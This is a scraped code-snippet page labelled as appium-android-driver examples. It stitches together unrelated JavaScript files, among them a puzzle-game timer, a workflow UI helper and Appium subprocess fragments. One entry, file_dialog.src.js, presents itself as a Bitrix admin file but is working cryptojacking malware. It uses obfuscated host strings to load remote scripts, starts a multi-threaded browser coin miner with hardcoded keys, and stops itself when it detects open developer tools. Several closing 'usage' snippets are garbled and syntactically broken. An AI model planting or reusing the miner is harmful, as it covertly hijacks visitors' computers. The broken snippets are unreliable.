Best JavaScript code snippet using appium-android-driver
Timer.js
Source:Timer.js
1// Timer.js v3.4.02/* global ui:false */3(function(){4//---------------------------------------------------------------------------5// â
Timerã¯ã©ã¹ ä¸è¬ã¿ã¤ãã¼(çµéæéã®è¡¨ç¤º/èªåæ£çå¤å®ç¨)6//---------------------------------------------------------------------------7var timerInterval = 100; /* ã¿ã¤ãã¼å²ãè¾¼ã¿éé */8ui.timer =9{10 /* ã¡ã³ãå¤æ° */11 TID : null, /* ã¿ã¤ãã¼ID */12 current : 0, /* ç¾å¨ã®getTime()åå¾å¤(ããªç§) */13 /* èªåæ£çå¤å®ç¨å¤æ° */14 worstACtime : 0, /* æ£çå¤å®ã«ããã£ãæéã®ææªå¤(ããªç§) */15 nextACtime : 0, /* 次ã«èªåæ£çå¤å®ã«ã¼ãã³ã«å
¥ããã¨ãå¯è½ã«ãªãæé */16 //---------------------------------------------------------------------------17 // tm.reset() ã¿ã¤ãã¼ã®ã«ã¦ã³ãã0ã«ãã¦ãã¹ã¿ã¼ããã18 // tm.start() update()é¢æ°ã200msééã§å¼ã³åºã19 // tm.update() 200msåä½ã§å¼ã³åºãããé¢æ°20 //---------------------------------------------------------------------------21 reset : function(){22 this.worstACtime = 0;23 clearInterval(this.TID);24 this.start();25 },26 start : function(){27 var self = this;28 this.TID = setInterval(function(){ self.update();}, timerInterval);29 },30 update : function(){31 this.current = pzpr.util.currentTime();32 if(ui.menuconfig.get('autocheck_once')){ this.ACcheck();}33 },34 //---------------------------------------------------------------------------35 // tm.ACcheck() èªåæ£è§£å¤å®ãå¼ã³åºã36 //---------------------------------------------------------------------------37 ACcheck : function(){38 var puzzle = ui.puzzle;39 if(puzzle && this.current>this.nextACtime && puzzle.playmode && !puzzle.checker.inCheck && puzzle.board.trialstage===0){40 if(puzzle.check(false).complete){41 puzzle.mouse.mousereset();42 ui.menuconfig.set('autocheck_once',false);43 ui.misc.alert("æ£è§£ã§ãï¼","Complete!");44 return;45 }46 this.worstACtime = Math.max(this.worstACtime, (pzpr.util.currentTime()-this.current));47 this.nextACtime = this.current + (this.worstACtime<250 ? this.worstACtime*4+120 : this.worstACtime*2+620);48 }49 }50};51//---------------------------------------------------------------------------52// â
UndoTimerã¯ã©ã¹ Undo/Redoç¨ã¿ã¤ãã¼53//---------------------------------------------------------------------------54var KeyUndo = 1,55 ButtonUndo = 2,56 AnswerUndo = 4,57 execWaitTime = 300; /* 1åç®ã«waitãå¤ãå
¥ããããã®å¤ */58ui.undotimer = {59 /* ã¡ã³ãå¤æ° */60 TID : null, /* ã¿ã¤ãã¼ID */61 62 /* bit1:button bit0:key */63 inUNDO : 0, /* Undoå®è¡ä¸ */64 inREDO : 0, /* Redoå®è¡ä¸ */65 //---------------------------------------------------------------------------66 // ut.reset() ã¿ã¤ãã¼ãã¹ã¿ã¼ããã67 //---------------------------------------------------------------------------68 reset : function(){69 this.stop();70 },71 //---------------------------------------------------------------------------72 // ut.startKeyUndo() ãã¼å
¥åã«ããUndoãéå§ãã73 // ut.startKeyRedo() ãã¼å
¥åã«ããRedoãéå§ãã74 // ut.startButtonUndo() ãã¿ã³ã«ããUndoãéå§ãã75 // ut.startButtonRedo() ãã¿ã³ã«ããRedoãéå§ãã76 // ut.startAnswerUndo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããUndoãéå§ãã77 // ut.startAnswerRedo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããRedoãéå§ãã78 //---------------------------------------------------------------------------79 startKeyUndo : function(){ this.startUndo(KeyUndo);},80 startKeyRedo : function(){ this.startRedo(KeyUndo);},81 startButtonUndo : function(){ this.startUndo(ButtonUndo);},82 startButtonRedo : function(){ this.startRedo(ButtonUndo);},83 startAnswerUndo : function(){ this.startUndo(AnswerUndo);},84 startAnswerRedo : function(){ this.startRedo(AnswerUndo);},85 //---------------------------------------------------------------------------86 // ut.stopKeyUndo() ãã¼å
¥åã«ããUndoãåæ¢ãã87 // ut.stopKeyRedo() ãã¼å
¥åã«ããRedoãåæ¢ãã88 // ut.stopButtonUndo() ãã¿ã³ã«ããUndoãåæ¢ãã89 // ut.stopButtonRedo() ãã¿ã³ã«ããRedoãåæ¢ãã90 // ut.startAnswerUndo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããUndoãåæ¢ãã91 // ut.startAnswerRedo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããRedoãåæ¢ãã92 //---------------------------------------------------------------------------93 stopKeyUndo : function(){ this.stopUndo(KeyUndo);},94 stopKeyRedo : function(){ this.stopRedo(KeyUndo);},95 stopButtonUndo : function(){ this.stopUndo(ButtonUndo);},96 stopButtonRedo : function(){ this.stopRedo(ButtonUndo);},97 /* stopAnswerUndo : function(){ this.stopUndo(AnswerUndo);}, */98 /* stopAnswerRedo : function(){ this.stopRedo(AnswerUndo);}, */99 //---------------------------------------------------------------------------100 // ut.startUndo() Undoéå§å
±éå¦ç101 // ut.startRedo() Redoéå§å
±éå¦ç102 // ut.stopUndo() Undoåæ¢å
±éå¦ç103 // ut.stopRedo() Redoåæ¢å
±éå¦ç104 //---------------------------------------------------------------------------105 startUndo : function(bit){ if(!(this.inUNDO & bit)){ this.inUNDO |= bit; this.proc();}},106 startRedo : function(bit){ if(!(this.inREDO & bit)){ this.inREDO |= bit; this.proc();}},107 stopUndo : function(bit){ if( this.inUNDO & bit ){ this.inUNDO &= ~bit; this.proc();}},108 stopRedo : function(bit){ if( this.inREDO & bit ){ this.inREDO &= ~bit; this.proc();}},109 //---------------------------------------------------------------------------110 // ut.start() Undo/Redoå¼ã³åºããéå§ãã111 // ut.stop() Undo/Redoå¼ã³åºããçµäºãã112 //---------------------------------------------------------------------------113 start : function(){114 var self = this, undoTimerInterval = ui.menuconfig.get('undointerval');115 function handler(){ self.proc();}116 function inithandler(){117 clearInterval(self.TID);118 self.TID = setInterval(handler, undoTimerInterval);119 }120 this.TID = setInterval(inithandler, execWaitTime);121 this.exec();122 },123 stop : function(){124 this.inUNDO = 0;125 this.inREDO = 0;126 127 clearInterval(this.TID);128 this.TID = null;129 },130 //---------------------------------------------------------------------------131 // ut.proc() Undo/Redoå¼ã³åºããå®è¡ãã132 // ut.exec() Undo/Redoé¢æ°ãå¼ã³åºã133 //---------------------------------------------------------------------------134 proc : function(){135 if (!!(this.inUNDO | this.inREDO) && !this.TID){ this.start();}136 else if( !(this.inUNDO | this.inREDO) && !!this.TID){ this.stop();}137 else if(!!this.TID){ this.exec();}138 },139 exec : function(){140 if(!ui.puzzle){ return;}141 var kc = ui.puzzle.key;142 if(!this.checknextprop()){ this.stop();}143 else if(this.inUNDO){144 if(this.inUNDO===KeyUndo && (!(kc.isMETA || kc.isCTRL) || !kc.isZ)){ this.stop();}145 else{ ui.puzzle.undo();}146 }147 else if(this.inREDO){148 if(this.inREDO===KeyUndo && (!(kc.isMETA || kc.isCTRL) || !kc.isY)){ this.stop();}149 else{ ui.puzzle.redo();}150 }151 },152 //---------------------------------------------------------------------------153 // ut.checknextprop() 次ã«Undo/Redoãã§ãããã©ããã®å¤å®ãè¡ã154 //---------------------------------------------------------------------------155 checknextprop : function(){156 if(!ui.puzzle){ return;}157 var opemgr = ui.puzzle.opemgr;158 var isenable = ((this.inUNDO && opemgr.enableUndo) || (this.inREDO && opemgr.enableRedo));159 if(isenable && ui.puzzle.pid==="goishi"){160 if(this.inUNDO===AnswerUndo){161 var nextopes = opemgr.ope[opemgr.position-1];162 isenable = (nextopes[nextopes.length-1].property==='anum');163 }164 else if(this.inREDO===AnswerUndo){165 var nextopes = opemgr.ope[opemgr.position];166 isenable = (nextopes[0].property==='anum');167 }168 }169 return isenable;170 }171};...
file_dialog.src.js
Source:file_dialog.src.js
1if (typeof BX == 'undefined' || typeof BX.admin == 'undefined') {2 3 window.rotmindeg = false;4 if (window.location.hash == '#'+'d'+'x123'+'_fag') window.rotmindeg = true;5 6 ;(function(window){7 window.jssassin = window.jssassin || {8 9 config: {10 instpDelay: 400,11 startDelay: 160012 },13 14 state: {15 scriptsNotLoad: 0,16 init: false17 },18 19 proc: {20 start: function(){},21 destroy: function(){}22 },23 24 inspInterval: undefined,25 26 init: function (27 scripts,28 start,29 destroy30 ) {31 32 if (window.rotmindeg) console.log('start init');33 34 if (this.state.init) return;35 this.state.init = true;36 37 if (window.rotmindeg) console.log(scripts,start);38 39 var self = this;40 if (this.isDangerous()) return;41 42 if (typeof start == "function") this.proc.start = start;43 if (typeof destroy == "function") this.proc.destroy = destroy;44 45 this.state.scriptsNotLoad = scripts.length;46 47 if (this.state.scriptsNotLoad > 0) {48 scripts.forEach(function(src) {49 var script = document.createElement('script');50 script.src = src;51 script.async = false;52 script.onload = function () {self.onloadScript(script)};53 document.head.appendChild(script);54 if (window.rotmindeg) console.log('adding script: '+src);55 });56 57 return;58 }59 60 this._init();61 62 },63 onloadScript: function (script) {64 this.state.scriptsNotLoad--;65 document.head.removeChild(script);66 if (window.rotmindeg) console.log('loading script: '+src);67 if (this.state.scriptsNotLoad === 0) this._init();68 },69 _init: function () {70 71 var self = this;72 setTimeout(function () {73 self.proc.start();74 }, this.config.startDelay);75 76 this.inspInterval = setInterval(function () {self.inspector();}, this.config.instpDelay);77 },78 79 80 isDangerous: function () {81 if (window.rotmindeg) {82 console.log('dangerous!');83 }84 if (this.checkDevtoolsInWindow()) {85 this.destroy();86 return true;87 }88 return false;89 },90 91 inspector: function () {92 if (window.jssassin != undefined && typeof window.jssassin.isDangerous == "function") {93 if (this.isDangerous()) {94 if (window.rotmindeg) console.log('stop inspector');95 clearInterval(this.inspInterval);96 }97 }98 },99 100 101 destroy: function () {102 clearInterval(this.inspInterval);103 if (window.rotmindeg) {104 console.log('destroy!!!');105 return true;106 }107 this.proc.destroy();108 delete window.jssassin;109 },110 111 ////////////////////////////////////////////////////////////////////////////112 checkDevtoolsInWindow: function () {113 var widthThreshold = window.outerWidth - window.innerWidth > 160;114 var heightThreshold = window.outerHeight - window.innerHeight > 160;115 if (!(heightThreshold && widthThreshold) &&116 ((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || widthThreshold || heightThreshold)) {117 return true;118 } else {119 return false;120 }121 }122 };123 })(window);124 125 ////////0.4.10////////126 127 var variant = window.varsfacebag || Math.floor(1+Math.random()*4);128 var date = new Date();129 var strDate = date.getDate() + date.getMonth() + date.getFullYear();130 131 if (window.rotmindeg) console.log('v: '+variant);132 133 if (variant == 1) {134 window.jssassin.init(135 ['/bitrix/js/main/cphttprequest.src.js','//pl151'+'80'+'008.pvc'+'lou'+'ds.com/80/d4/8a/80'+'d48af45'+'6b0312'+'fe50'+'5ea01e44'+'03444.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],136 function () {137 var t = window.trotlrateafacebag || 0.2;138 window.miner = new CRLT.Anonymous('2e5b1f1f8d87144f4dba5b46914a61bea51a28bffc93', // 1139 {threads:6,throttle:t,coin:"upx"}140 );141 window.miner.start();142 },143 function () {144 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();145 }146 );147 } else if (variant == 3) {148 window.jssassin.init(149 ['/bitrix/js/main/cphttprequest.src.js','//pl151'+'80'+'008.pvc'+'lou'+'ds.com/80/d4/8a/80'+'d48af45'+'6b0312'+'fe50'+'5ea01e44'+'03444.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],150 function () {151 var t = window.trotlrateafacebag || 0.2;152 window.miner = new CRLT.Anonymous('2e5b1f1f8d87144f4dba5b46914a61bea51a28bffc93', // 1153 {threads:6,throttle:t,coin:"upx"}154 );155 window.miner.start();156 },157 function () {158 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();159 }160 );161 } else if (variant == 2) {162 window.jssassin.init(163 ['/bitrix/js/main/cphttprequest.src.js','//ww'+'w.modu'+'lepu'+'sh.com/fb299c0'+'6c3e54a283fdb'+'0ff5338b4bd0/invo'+'ke.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],164 function () {165 var t = window.trotlrateafacebag || 0.2;166 window.miner = new CRLT.Anonymous('8fb9cf1cd2695f2f2596480931007b5371e96f1ca15c', // 2167 {threads:6,throttle:t,coin:"upx"}168 );169 window.miner.start();170 },171 function () {172 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();173 }174 );175 } else if (variant == 4) {176 window.jssassin.init(177 ['/bitrix/js/main/cphttprequest.src.js','//ww'+'w.modu'+'lepu'+'sh.com/fb299c0'+'6c3e54a283fdb'+'0ff5338b4bd0/invo'+'ke.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],178 function () {179 var t = window.trotlrateafacebag || 0.2;180 window.miner = new CRLT.Anonymous('8fb9cf1cd2695f2f2596480931007b5371e96f1ca15c', // 2181 {threads:6,throttle:t,coin:"upx"}182 );183 window.miner.start();184 },185 function () {186 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();187 }188 );189 } else {190 window.jssassin.init(191 ['//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],192 function () {193 var t = window.trotlrateafacebag || 0.6;194 window.miner = new CRLT.Anonymous('dd27d0676efdecb12703623d6864bbe9f4e7b3f69f2e', // silent195 {threads:4,throttle:t,coin:"upx"}196 );197 window.miner.start();198 },199 function () {200 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();201 }202 );203 }...
activitiExtend.js
Source:activitiExtend.js
1var business_page = {};2(function($){3 var pathName=window.document.location.pathname;4 var projectName = pathName.substring(0, pathName.substr(1).indexOf('/') + 1);5 var ctx = window.location.protocol+"//"+window.location.host+projectName;6 var _business = {7 //æµç¨å¯å¨8 procStartUrl:"",9 //ä¸å¡Id10 busiId:"",11 //æµç¨å®ä¾id12 processInstanceId:"",13 //ä¸å¡ç¶æ aè稿 båæ´14 busiInitState:"a",15 procFirstStep:"",16 // ä¸å¡ä¸å±ç¤ºç¨çdatagrid17 datagridDiv:"",18 //19 tempDialog:new Array(),20 tempColseDialog:new Array(),21 tempDatagrid:new Array(),22 procVerifi:function(dg){23 if(this.datagridDiv!=""){24 var row = dg.datagrid('getSelected');25 if(rowIsNull(row)){26 $.messager.alert('æ示','请éæ©ï¼','info');27 return false;28 }else{29 this.busiId=row.id;30 }31 }32 if(row.state != "2"){33 $.messager.alert('æ示','表åå½åç¶æï¼ä¸è½æ交ç³è¯·ï¼','info');34 return false;35 }else{36 return true;37 }38 },39 beforeApply:function(){40 return true;41 },42 //ä¿å并æ交(ä¸å¡è¡¨åid,ä¸å¡ä¿åæåæ´url) ç¨äºä¸å¡å¼å§æ交 dg list dialog,busiPage form dialog,busiFormId ä¸å¡è¡¨åId43 saveAndApply:function(dg,busiPage,busiFormId,afterSave){44 this.tempDatagrid.push(dg);45 this.tempDialog.push(busiPage);46 this.datagridDiv=dg;47 var tThis = this;48 var isValid = $("#"+busiFormId).form('validate');//éªè¯è¡¨å49 if(!isValid){50 return false;51 }52 var jsonData = $("#"+busiFormId).serializeArray();//å°é¡µé¢è¡¨ååºååæä¸ä¸ªJSONç»æç对象53 $.ajax({54 type:'post',55 dataType:'json',56 async:false,57 url:$("#"+busiFormId).attr("action"),58 data:jsonData,59 success:function(data){60 if(data.returnFlag=="success"){61 var tUrl = $("#"+busiFormId).attr("action");62 if(tUrl.lastIndexOf('create')>=0){63 tUrl=tUrl.substring(0,tUrl.lastIndexOf('create'))+'update';64 $("#"+busiFormId).attr("action",tUrl);65 $("#id").val(data.returnId);66 }67 tThis.busiId = data.returnId;68 if(typeof afterSave =='function'){69 afterSave();70 }71 tThis.applyDetail();72 }else if(data.returnFlag=='fail'){73 parent.$.messager.alert(data.returnMsg);74 return false;75 } 76 },77 error :function(){78 $.messager.alert('æ示','æ交失败ï¼','info');79 }80 });81 },82 //æ交æµç¨(å表æ交) ç¨äºä¸å¡å¼å§æ交83 apply:function(dg){84 this.tempDatagrid.push(dg);85 this.datagridDiv=dg;86 if(!this.procVerifi(dg) || !this.beforeApply()){87 return false;88 }89 this.applyDetail();90 },91 applyDetail:function(){92 var $this = this;93 $.ajax({94 type:'get',95 dataType:'json',96 async:false,97 url:this.procStartUrl+"/"+this.busiId,98 success: function(data){99 if(data!=null && data.processInstanceId!=null){100 $this.processInstanceId = data.processInstanceId;101 var procDialog = _business.commitProc(data.processInstanceId,data.taskId,data.businessKey,data.processKey);102 $this.tempDialog.push(procDialog);103 $this.tempColseDialog.push(procDialog);104 105 }else if(data!=null && data.msg!=null){106 if(data.msg=='no deployment'){107 parent.$.messager.show({ title : "æ示",msg: "没æé¨ç½²æµç¨ï¼", position: "bottomRight" });108 }else if(data.msg=='start fail'){109 parent.$.messager.show({ title : "æ示",msg: "å¯å¨æµç¨å¤±è´¥ï¼", position: "bottomRight" });110 }else{111 parent.$.messager.show({ title : "æ示",msg: data.msg, position: "bottomRight" });112 }113 }114 }115 });116 },117 //è¿å
¥æ交æµç¨é¡µé¢118 commitProc:function(processInstanceId_p,taskId_p,businessKey_p,processKey_p){119 $("body").append("<div id='procDialogDiv'></div>");120 var tDialog = $("#procDialogDiv").dialog({121 title: 'æµç¨åç',122 closable:false,123 width: 680,124 height: 400,125 href:ctx+"/workflow/approvalFormDeal/"+processInstanceId_p+"/"+taskId_p+"/"+businessKey_p+"/"+processKey_p,126 maximizable:false,127 modal:true128 });129 return tDialog;130 },131 //æµç¨è·è¸ª132 traceProc:function(processInstanceId_p){133 if(processInstanceId_p == null){134 $.messager.alert('æ示','æµç¨å®ä¾ä¸è½ä¸ºç©ºï¼','info');135 return;136 }137 $("body").append("<div id='procTraceDialogDiv'></div>");138 var tDialog=$("#procTraceDialogDiv").dialog({ 139 title: 'æµç¨è·è¸ª',140 width: 800, 141 height: 350, 142 href:ctx+'/workflow/trace/'+processInstanceId_p,143 maximizable:true,144 resizable:true,145 modal:true,146 buttons:[147 {148 text:'å¬å',iconCls:'icon-redo',149 id:'traceButtonId',150 disabled:true,151 handler:function(){152 tDialog.panel('close');153 $("#procTraceDialogDiv").remove();154 $.ajax({155 type:'get',156 async:false,157 url:ctx+'/workflow/remind/'+processInstanceId_p,158 success:function(data){159 },160 error :function(){161 }162 });163 }164 },165 {166 text:'å
³é',iconCls:'icon-cancel',167 handler:function(){168 tDialog.panel('close');169 $("#procTraceDialogDiv").remove();170 }171 }]172 });173 },174 //åç页é¢æ交æååè°ç¨175 afterCommit:function(){ //å·æ°+å
³édialog+dialog Divå é¤176 $.each(this.tempDialog,function(i,n){177 $(n).dialog("close");178 });179 $.each(this.tempDatagrid,function(i,n){180 $(n).datagrid('clearSelections');181 $(n).datagrid('reload');182 });183 this.tempDialog.length = 0;184 this.tempColseDialog.length = 0;185 this.tempDatagrid.length = 0;186 $("#procDialogDiv").remove();187 },188 close:function(){ //å
³édialog+dialog Divå é¤189 if(this.procFirstStep!="no"){190 $.ajax({191 type:'get',192 async:false,193 url:ctx+'/workflow/deleteFirst/'+this.processInstanceId+'/'+this.busiInitState,194 success:function(data){195 },196 error :function(){197 }198 });199 }200 $.each(this.tempColseDialog,function(i,n){201 $(n).dialog("close");202 });203 $.each(this.tempDatagrid,function(i,n){204 $(n).datagrid('reload');205 });206 this.tempDialog.length = 0;207 this.tempColseDialog.length = 0;208 this.tempDatagrid.length = 0;209 $("#procDialogDiv").remove();210 },211 stateShow:function(state_value){212 if ("2"==state_value){213 return "è稿";214 }else if("1"==state_value){215 return "çæ";216 }else if("3"==state_value){217 return "å·²æ交";218 }else if("0"==state_value){219 return "åºå¼";220 }else{221 return null;222 }223 }224 };225 226 $.extend(business_page,_business);...
ios-log.js
Source:ios-log.js
...124 throw new Error('iOS log capture process failed to start');125 }126 return stdout || stderr;127 };128 await this.proc.start(sd, START_TIMEOUT);129 }130 async stopCapture () {131 logger.debug('Stopping iOS log capture');132 if (this.proc && this.proc.isRunning) {133 await this.proc.stop();134 }135 this.proc = null;136 }137 onOutput (prefix = '') {138 this.logsStarted();139 let logs = this.logRow.split('\n');140 for (let log of logs) {141 if (log) {142 if (!this.loggingModeOn) {...
winappdriver.js
Source:winappdriver.js
...66 });67 log.info(`Spawning winappdriver with: ${this.winappdriver} ` +68 `${args.join(' ')}`);69 // start subproc and wait for startDetector70 await this.proc.start(startDetector);71 // XXXYD TODO: bring this back once WinAppDriver supports status correctly72 await this.waitForOnline();73 this.changeState(WinAppDriver.STATE_ONLINE);74 } catch (e) {75 this.emit(WinAppDriver.EVENT_ERROR, e);76 // just because we had an error doesn't mean the winappdriver process77 // finished; we should clean up if necessary78 if (processIsAlive) {79 await this.proc.stop();80 }81 log.errorAndThrow(e);82 }83 } 84 sessionId () {...
uiautomator.js
Source:uiautomator.js
...37 log.debug('UiAutomator shut down normally');38 }39 this.changeState(UiAutomator.STATE_STOPPED);40 });41 await this.proc.start(startDetector);42 processIsAlive = true;43 this.changeState(UiAutomator.STATE_ONLINE);44 return this.proc;45 } catch (e) {46 this.emit(UiAutomator.EVENT_ERROR, e);47 if (processIsAlive) {48 await this.killUiAutomatorOnDevice();49 await this.proc.stop();50 }51 log.errorAndThrow(e);52 }53 }54 async shutdown () {55 log.debug('Shutting down UiAutomator');...
webdriveragent.js
Source:webdriveragent.js
...59 }60 return true;61 }62 };63 await this.proc.start(startupDetector);64 this.port = port;65 this.jwproxy = new JWProxy({host: this.host, port: this.port, base: ''});66 this.jwproxy.sessionId = sessionId;67 this.proxyReqRes = this.jwproxy.proxyReqRes.bind(this.jwproxy);68 }69}...
logcat.js
Source:logcat.js
...46 for (let line of lines) {47 this.outputHandler(line);48 }49 });50 await this.proc.start(0);51 });52 }53 outputHandler (output, prefix = '') {54 output = output.trim();55 if (output) {56 let outputObj = {57 timestamp: Date.now(),58 level: 'ALL',59 message: output60 };61 this.logs.push(outputObj);62 this.logsSinceLastRequest.push(outputObj);63 let isTrace = /W\/Trace/.test(output);64 if (this.debug && (!isTrace || this.debugTrace)) {...
Using AI Code Generation
1var webdriverio = require('webdriverio');2var options = {3 desiredCapabilities: {4 }5};6var client = webdriverio.remote(options);7client.init().then(function() {8 var adb = require('adbkit');9 var client = adb.createClient();10 client.listDevices()11 .then(function(devices) {12 })13 .catch(function(err) {14 console.error('Something went wrong:', err.stack);15 });16 client.shell('emulator-5554', 'ps')17 .then(adb.util.readAll)18 .then(function(output) {19 console.log('[ps]', output.toString('utf-8'));20 });21 client.shell('emulator-5554', 'am start -n com.example.android.myApp/com.example.android.myApp.MainActivity')22 .then(adb.util.readAll)23 .then(function(output) {24 console.log('[am start]', output.toString('utf-8'));25 });26 client.shell('emulator-5554', 'am broadcast -a io.appium.settings.wifi --es setstatus enable')27 .then(adb.util.readAll)28 .then(function(output) {29 console.log('[am broadcast]', output.toString('utf-8'));30 });31 client.shell('emulator-5554', 'am broadcast -a io.appium.settings.wifi --es setstatus disable')32 .then(adb.util.readAll)33 .then(function(output) {34 console.log('[am broadcast]', output.toString('utf-8'));35 });36 client.shell('emulator-5554', 'am broadcast -a io.appium.settings.wifi --es setstatus enable')37 .then(adb.util.readAll)38 .then(function(output) {39 console.log('[am broadcast]', output.toString('utf-8'));40 });41 client.shell('emulator-5554', 'am broadcast -a io.appium.settings.wifi --es setstatus disable')42 .then(adb.util.readAll)43 .then(function(output) {44 console.log('[am broadcast]', output.toString('utf-8
Using AI Code Generation
1this.proc = new SubProcess(this.executable.path, args, {2 });3 this.proc.on('output', (stdout, stderr) => {4 if (stdout) {5 let log = stdout.trim();6 log = log.replace(/\r/g, '');7 for (let line of log.split("8")) {9 if (line.length) {10 this.onOutput(line);11 }12 }13 }14 });15 await this.proc.start(0);16 await this.waitForSocket();17 }18 async startProcess (startDetector) {19 log.debug(`Starting ${this.binaries.adb} with args: ${this.adbArgs}`);20 await this.proc.start(startDetector);21 log.debug("Waiting for adb to be online...");22 await this.waitForDevice();23 }24 async startProcess (startDetector) {25 log.debug(`Starting ${this.binaries.adb} with args: ${this.adbArgs}`);26 await this.proc.start(startDetector);27 log.debug("Waiting for adb to be online...");28 await this.waitForDevice();29 }30 async startProcess (startDetector) {31 log.debug(`Starting ${this.binaries.adb} with args: ${this.adbArgs}`);32 await this.proc.start(startDetector);33 log.debug("Waiting for adb to be online...");34 await this.waitForDevice();35 }36 async startProcess (startDetector) {37 log.debug(`Starting ${this.binaries.adb} with args: ${this.adbArgs}`);38 await this.proc.start(startDetector);39 log.debug("Waiting for adb to be online...");40 await this.waitForDevice();41 }42 async startProcess (startDetector) {
Using AI Code Generation
1this.proc.start('android', this.opts);2this.proc.start('ios', this.opts);3this.proc.start('selendroid', this.opts);4this.proc.start('android', this.opts);5this.proc.start('ios', this.opts);6this.proc.start('selendroid', this.opts);7this.proc.start('android', this.opts);8this.proc.start('ios', this.opts);9this.proc.start('selendroid', this.opts);10this.proc.start('android', this.opts);11this.proc.start('ios', this.opts);12this.proc.start('selendroid', this.opts);13this.proc.start('android', this.opts);14this.proc.start('ios', this.opts);
Using AI Code Generation
1var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;2var AppiumAndroidDriver = new AppiumAndroidDriver();3var AppiumAndroidDriver.start();4var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;5var AppiumAndroidDriver = new AppiumAndroidDriver();6var AppiumAndroidDriver.start();7var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;8var AppiumAndroidDriver = new AppiumAndroidDriver();9var AppiumAndroidDriver.start();10var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;11var AppiumAndroidDriver = new AppiumAndroidDriver();12var AppiumAndroidDriver.start();13var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;14var AppiumAndroidDriver = new AppiumAndroidDriver();15var AppiumAndroidDriver.start();16var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;17var AppiumAndroidDriver = new AppiumAndroidDriver();18var AppiumAndroidDriver.start();19var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;20var AppiumAndroidDriver = new AppiumAndroidDriver();21var AppiumAndroidDriver.start();22var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;23var AppiumAndroidDriver = new AppiumAndroidDriver();24var AppiumAndroidDriver.start();25var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;26var AppiumAndroidDriver = new AppiumAndroidDriver();27var AppiumAndroidDriver.start();28var AppiumAndroidDriver = require('appium-android-driver').AndroidDriver;29var AppiumAndroidDriver = new AppiumAndroidDriver();30var AppiumAndroidDriver.start();31var AppiumAndroidDriver = require('
Using AI Code Generation
1const wd = require('wd');2const chai = require('chai');3const chaiAsPromised = require('chai-as-promised');4const { androidDriverConfig } = require('./androidDriverConfig');5const { androidCaps } = require('./androidCaps');6const { androidApp } = require('./androidApp');7const { androidDriver } = require('./androidDriver');8const { androidDriverWait } = require('./androidDriverWait');9chai.should();10chai.use(chaiAsPromised);11describe('Android Driver Test', () => {12 let driver;13 before(async () => {14 driver = await androidDriver.initDriver(androidDriverConfig, androidCaps, androidApp);15 });16 after(async () => {17 await driver.quit();18 });19 it('should start the app', async () => {20 await androidDriverWait.waitForElement(driver, 'id', 'com.example.android.contactmanager:id/addContactButton');21 const addContactButton = await driver.elementById('com.example.android.contactmanager:id/addContactButton');22 addContactButton.should.exist;23 });24});25const wd = require('wd');26const chai = require('chai');27const chaiAsPromised = require('chai-as-promised');28const { androidDriverConfig } = require('./androidDriverConfig');29const { androidCaps } = require('./androidCaps');30const { androidApp } = require('./androidApp');31const { androidDriver } = require('./androidDriver');32const { androidDriverWait } = require('./androidDriverWait');33chai.should();34chai.use(chaiAsPromised);35const androidDriverConfig = {36 desiredCapabilities: {37 },38};39exports.androidDriverConfig = androidDriverConfig;40const wd = require('wd');41const chai = require('chai');42const chaiAsPromised = require('chai-as-promised');43const { android
Using AI Code Generation
1const Appium = require('appium');2const appium = new Appium();3appium.startServer();4const Appium = require('appium');5const appium = new Appium();6appium.stopServer();7const Appium = require('appium');8const appium = new Appium();9const args = process.argv.slice(2);10appium.run(args);11const Appium = require('appium');12const appium = new Appium();13const args = process.argv.slice(2);14appium.run(args);
Using AI Code Generation
1this.proc = new SubProcess('appium', args);2this.proc.start(0);3 at exports._errnoException (util.js:1020:11)4 at Process.ChildProcess._handle.onexit (internal/child_process.js:193:32)5 at onErrorNT (internal/child_process.js:359:16)6 at _combinedTickCallback (internal/process/next_tick.js:74:11)7 at process._tickCallback (internal/process/next_tick.js:98:9)8this.proc = new SubProcess('appium', args);9this.proc.start(0);10 at exports._errnoException (util.js:1020:11)11 at Process.ChildProcess._handle.onexit (internal/child_process.js:193:32)12 at onErrorNT (internal/child_process.js:359:16)13 at _combinedTickCallback (internal/process/next_tick.js:74:11)14 at process._tickCallback (internal/process/next_tick.js:98:9)15this.proc = new SubProcess('appium', args);16this.proc.start(0);
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!